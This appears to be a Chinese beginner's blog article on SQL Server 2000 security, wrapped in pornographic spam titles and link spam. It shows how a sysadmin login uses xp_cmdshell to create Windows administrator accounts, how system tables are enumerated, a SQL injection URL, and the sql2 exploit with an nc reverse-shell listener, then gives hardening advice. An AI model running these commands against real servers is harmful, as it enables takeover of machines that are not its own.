欧美三区_成人在线免费观看视频_欧美极品少妇xxxxⅹ免费视频_a级毛片免费播放_鲁一鲁中文字幕久久_亚洲一级特黄

SQL Server的幾個安全問題

系統 2251 0
本文探討一些SQL Server常見的安全問題,是給初入SQL Server的人看的,寫的肯定很絮叨,高手勿讀。本文的用的是SQL Server 2000,下文中都簡寫為SQL Server。

一、空口令或弱口令

  初學者在安裝SQL Server時為了省事,SQL Server管理員sa 用的是空口令或弱口令,這樣危險性十分巨大,而這些危險往往是初學者意識不到的,小王就覺得,自己的庫是試驗數據,沒什么用,即使別人連上庫也無所謂。殊不知SQL Server的默認用戶sa的權限非常巨大,有種觀點是sa的權限要大于administrator的權限,也就是說沒有限制的sa用戶可以做Windows系統管理員所做的任何事。

  下面我們做個簡單的試驗。通過SQL Server給Windows系統增加一個用戶user1,并且把該用戶增加到管理員用戶組administrators里。

  1、首先看看正常情況下在Windows系統增加該用戶的方法。

  有兩種:一是在圖形界面下進行,二是在命令窗口下進行,下面演示通過命令增加用戶。

  1)、在"開始"——〉"運行"處輸入cmd,回車進入到命令窗口,如圖1所示:
  2)、第一行命令net user user1 /add (增加一個用戶名是user1的用戶)。
  3)、第二行net localgroupadminisstrators user1 /add(將此用戶增加到管理員用戶組administrators中)。
  4)、第三行net user(查看目前系統的用戶,可以看到已增加了user1用戶)。
  5)、第四行net user user1 /delete (刪除user1用戶),為了下面通過SQL Server 給系統增加用戶。



圖1

  2、在SQL Server中增加系統用戶

  1)、打開SQL Server的"企業管理器"——〉"工具"——〉 "SQL 查詢分析器" 。如圖2,輸入要連接的SQL Server的IP地址,確定后出現圖3界面,注意連接的是master庫。



圖2

  2)、如圖3所示,在查詢窗口中輸入:exec xp_cmdshell 'net user user1 /add',按 執行,如果出現圖4"命令成功完成"的提示說明執行成功。

  3)、接著如圖5所示,輸入exec xp_cmdshell 'net localgroup administrators user1 /add',執行成功后出現圖5的提示說明。



圖3



圖4



圖5

  上邊輸入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它們就是我們上面用過的windows系統下的標準命令。圖6可以看出user1已增加到管理員administrators組中。



圖6

  看到這明白了吧!通過功能強大的SQL Server可以做Windows系統管理員能做的事。上面通過SQL Server建立用戶的實驗是我從本機遠程連接到測試機的SQL Server,增加了用戶,圖7是用剛建立的用戶user1和遠程計算機建立的ipc連接,這時要進入這臺機器就是易如反掌的事了。接下來的的安全知識自己查查吧,網上非常多的。



圖7

  3、進一步解釋

  上面用的xp_cmdshell是SQL Server的擴展存儲過程中的一個,存儲過程就像是我們編程用的函數,內容是按需要編寫的一系列SQL 語句和可選控制流語句,可由應用程序通過一個調用執行,而且允許用戶聲明變量、有條件執行以及其它強大的編程功能。每個庫都可以存放存儲過程,但擴展存儲過程只存在master 數據庫中,對用戶來說,擴展存儲過程與普通存儲過程一樣,執行方法也相同。但擴展存儲過程能執行除了數據庫之外的許多操作,上面我們看到通過調用xp_cmdshell可以執行windows系統下的各種命令。

  擴展存儲過程的功能非常強大,如圖8,它們存在master庫中的擴展存儲過程中。

  如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey這些擴展存儲過程能對 注冊表 進行讀寫操作。例如:可以通過下面命令查看注冊表中的啟動項目。

  Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'



圖8

二、注入和跨庫攻擊

  注入和跨庫攻擊可能是2004年黑客攻擊中最流行的詞了,它的原理和上面講的都是獲得了SQL Server管理員sa的權限,從而控制數據庫,還可以利用xp_cmdshell這樣的SQL Server的擴展存儲過程控制Windows系統。注入和空口令獲取sa權限的方法不同,注入是ASP程序在連接SQL Server時有漏洞,黑客利用漏洞獲取了sa權限。說到這,小王有點疑問,程序中sa連接的是自己的庫而擴展存儲過程在master庫中,如何利用的?簡單的說,有sa 的權限后就能查詢出用戶建的什么庫,庫中有哪些表,表中有什么字段,表的紀錄等。這些又是如何實現的呢?

  要解答這個問題需要從兩個方面著手,一是新建個庫后,SQL Server起了什么變化?二是SQL Server的權限。

  1、新建一個庫后其在系統庫和系統表的位置

  例:在SQL Server新建一個庫,庫名稱為:xyz,在該庫下建一個test的表,表中字段為id、name、password。

  1)、庫在哪里?
  SQL Server安裝完畢后默認安裝了master、model、msdb、northwind、pubs、tempdb這6個庫,其中northwind、pubs是例子庫,其它都是系統數據庫,各有其用。xyz庫建好后,庫名稱存在master庫中的sysdatabases表中,如圖9所示,sysdatabases表中的 dbid字段的值大于6的就是用戶自己建的庫。圖10中用SELECT name FROM sysdatabases where dbid>6可以查出用戶自己建的庫,剛建的xyz庫也在其中。



圖9



圖10

  2)、表在哪里?

  表名稱存在xyz庫中的sysobjects表且xtype='u',如圖11,輸入SELECT *FROM sysobjects where xtype='u'可以查出表名稱是test,記住我們剛建的表test對應的id是357576312


圖11

  3)、有哪些字段?

  test表中有哪些字段呢?該表的字段存在xyz庫中的syscolumns表中,且id等于sysobjects表中test表對應的id,也就是我們上面查出來的357576312。

  如圖12,輸入SELECT * FROM syscolumns where id='357576312'可以查出test表中的字段。


圖12

  4)、總結

  當有相應權限的用戶連到SQL Server后,能通過查詢master庫中的sysdatabases表得到用戶建的數據庫名稱,接著再查詢用戶數據庫的sysobjects表查出創建的表,接著再查詢用戶數據庫的syscolumns表查出表中的字段,進而查出紀錄。

  這個例子提到有相應權限的用戶,那用戶具有哪些權限呢?我們接著說。

  2、理解用戶、角色和權限這幾個概念

  要對這幾個概念講得很明白,需要很大的篇幅,本文只作簡要介紹。

  要想訪問SQL Server必須是它的一個用戶,如果要訪問某個數據庫,必須賦予該用戶訪問此數據庫的權限。角色就是一系列權限的集合。用戶和角色的關系就像Windows系統中的用戶和用戶組的關系。

還是舉例說明吧!sa為什么有那么大的權限?

  sa是SQL Server的默認超級用戶,就像系統的administrator用戶一樣,如圖13,點擊在"安全性"——〉"登錄",在右欄的sa用戶下鼠標右鍵,出現圖14的sa屬性界面選到"服務器角色"項,可以看到sa的角色是system administrators(簡寫為sysadmin),前面提到角色就是一系列權限的集合,點擊圖14的"屬性",在圖15中可以看到該角色擁有操作SQL Server的所有權限。如圖16可以看出sa具有所有數據庫的訪問權限,現在明白sa為什么有那么大的權限了吧。


圖13


圖14


圖15


圖16

  實際做管理系統時并不需要用戶有那么大的權限,一般只要能訪問自己建的庫就行了。可以新建個用戶,只給此用戶有限的權限,這樣安全系數應該高些,從這個思路出發看看如何實現。

  1)、新建aaa用戶

  如圖17,新建登錄后出現圖18界面,輸入用戶名aaa,在輸入個強壯的密碼。



圖17



圖18

  2)、設置權限

  如圖18,在"服務器角色"選項中什么也不選,如圖19,在"數據庫訪問"選項中只選"xyz"庫,也就是說只讓aaa用戶訪問xyz庫。"數據庫角色中允許"只選默認的"public"。



圖19



圖20

  3)、測試

  設置好后,用aaa用戶登陸"SQL 查詢分析器",如圖21,執行exec xp_cmdshell 'net user user1 /add',出現了期待的結果,沒有權限執行。



圖21

  接著執行SELECT name FROM sysdatabases where dbid>6,期待的結果是沒有權限執行,可實際的結果和圖10的查詢結果一模一樣,aaa用戶不是沒有master庫的權限嗎?aaa用戶除了不能訪問自己建的庫wz_cxxt_new外,其它的庫都能訪問,問題出在哪呢?

問題出在public 角色,下面這段話是SQL Server幫助中寫的。

  public 角色是一個特殊的數據庫角色,每個數據庫用戶都屬于它。public 角色:

  · 捕獲數據庫中用戶的所有默認權限。
  · 無法將用戶、組或角色指派給它,因為默認情況下它們即屬于該角色。
  · 含在每個數據庫中,包括 master、msdb、tempdb、model 和所有用戶數據庫。
  · 無法除去。

  如圖22是master庫中的"public"角色,雙擊"public",在界面中單擊"權限",出現圖23界面,可以看到該角色具有sysdatabases的訪問權限。可以看到權限分得非常細,有select、insert、update、delete等,如圖24,把權限改為禁止,再執行SELECT name FROM sysdatabases時出現了"拒絕了對對象 'sysdatabases'(數據庫 'master',所有者 'dbo')的 SELECT 權限。"的提示。



圖22



圖23



圖24

  Public角色默認沒有執行擴展存儲過程的權限,但可以賦予該角色執行的權限,有訪問庫的權限,也可以去掉。看到這,是不是覺得非常麻煩,本來權限的設置就是個雙刃劍,設置得過于寬松會有安全漏洞,過于嚴格在程序運行時可能會出問題,本文無法給出一個徹底的解決方案,只要在懂得原理的基礎上,在實踐中不斷摸索才能理出一個最佳方案。

  3、注入

  對于SQL Server+ASP的注入,有一種是ASP連接SQL Server用戶的權限足夠大,而ASP程序本身有漏洞,而從而構造出類似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 這樣的SQL語句,根據前文講的原理暴出庫、表及相Φ募吐肌?/p>

  關于注入有許多精彩和經典的文章,還有像NBSI2那樣好用的工具,在此就不班門弄斧了。

三、SQL Server不打補丁的漏洞

  小王的SQL Server是安裝在win 2000上的,沒有打補丁,沒打補丁的SQL Server就是個大漏勺,無論你的權限設置的多么嚴格都是一張一捅就破的爛紙。下面的例子是對有漏洞的SQL Serve(安裝在192.168.113.10這臺機器上)的攻擊,實驗中用到了兩個工具,nc和sql2,nc別名瑞士軍刀,是古老且十分強大的網絡工具,如果想知道詳細用法請參考網上的相關資料,sql2是專門攻擊有漏洞的SQL Serve(sp2以下,含sp2),過程如下:

  如圖25,在我的機器(IP地址為192.168.113.207)的命令窗口下(運行cmd)運行nc -l -p 77,意思是在本機開個77的端口
新建一個命令窗口,運行sql2 192.168.113.10 192.168.113.207 77 0

  如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc監視窗口就會出現下圖26的界面,注意!這個界面可是裝有SQL Serve機器的,換句話,我們已經入侵到這臺機器了。接著看下圖27,用ipconfig 查的地址是192.168.113.10,它歸你控制了,簡單吧!



圖25



圖26



圖27

四、幾點建議

  1、及時打補丁

  不打補丁的危害上面已經演示了,道理就不用多說了吧!

  2、最小的權限等于對大的安全

  這句話說起容易,做起難,有一個簡單易行的辦法就是用流行的漏洞掃描工具和攻擊工具檢測本系統是否安全,這樣的工具非常多,自己找吧。

  3、安裝防火墻

  如果只是在本機調試系統,安裝防火墻是非常好的選擇,這樣即使有漏洞別人也無法攻擊。

  4、改變端口

  如果SQL Serve需要遠程訪問,端口一定是要開放的,即使安裝了防火墻,也要將SQL Serve的服務端口1433放開,針對SQL Serve的攻擊工具主要掃描的是1433端口,可以改變默認端口,這樣雖然不能從根本上解決問題,但可以對付一般的掃描,改變端口最簡單的辦法是在打開"開始"——〉"所有程序"——〉"Microsoft SQL Serve" ——〉"服務器網絡實用工具",在界面中選中"TCP/IP",點擊"屬性",把1433改為不超過65535的一個數,重啟SQL Serve服務,這樣默認端口就改了,注意這時你遠程連接SQL Serve時IP地址后要加改過的端口號。

  5、刪除不需要的擴展存儲過程

  如果你的系統中確實不需要這些擴展存儲過程可以刪除。

  刪除存儲過程的命令是:EXEC sp_dropextendedproc ‘存儲過程的名稱'

  例如要刪除xp_cmdshell,執行EXEC sp_dropextendedproc ‘xp_cmdshell',每個擴展存儲過程實際上用的是相應的dll文件,如果想徹底讓該存儲過程不起作用,還要將dll文件也刪除。這些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如圖28,xp_cmdshell的dll文件是xplog70.dll

  要恢復該存儲過程,命令是:

  EXEC sp_addextendedproc存儲過程的名稱 ,@dllname ='存儲過程的dll'

  例如:恢復存儲過程xp_cmdshell

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢復時如果xplog70.dll已刪除需要copy一個。

- 作者: 五星上將 from

極速狂飆


google_ad_client = "pub-2416224910262877"; google_ad_width = 728; google_ad_height = 90; google_ad_format = "728x90_as"; google_ad_channel = ""; google_color_border = "E1771E"; google_color_bg = "FFFFFF"; google_color_link = "0000FF"; google_color_text = "000000"; google_color_url = "008000";

SQL Server的幾個安全問題


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 亚洲欧美第一视频 | 99热在线播放 | 5278.cc | 搞av.com | 日本久久久久 | 亚洲国产咪爱网 | 新91| a视频免费 | 伊人久久国产 | 欧美日本一道本 | 91精品国产综合久久久久蜜臀 | 亚洲精品第一国产综合野 | 天天做天天爱天天综合网 | 99亚洲 | 欧美高清正版在线 | 亚洲国产二区 | 欧美激情精品久久久久 | 污污成人一区二区三区四区 | 青草悠悠视频在线观看 | 91最新在线视频 | 性生潮久久久不久久久久 | 欧美精品一区二区在线观看 | 国产亚洲精品不卡在线 | 日本中文字幕一区 | 九九九九精品视频在线播放 | 亚洲永久中文字幕在线 | 国产99久久精品一区二区永久免费 | 欧美国产视频 | 国产精品成人第一区 | 亚洲精品久 | 99热这里有免费国内精品 | 日韩精品中文字幕视频一区 | 艹逼网 | 中文字幕视频在线观看 | 国产视频一 | 免费看黄色一级大片 | 大ji巴好好爽好深网站 | 欧美日韩中文一区 | 国产精品xxxav免费视频 | 亚洲欧美日韩在线一区 | 91蝌蚪九色|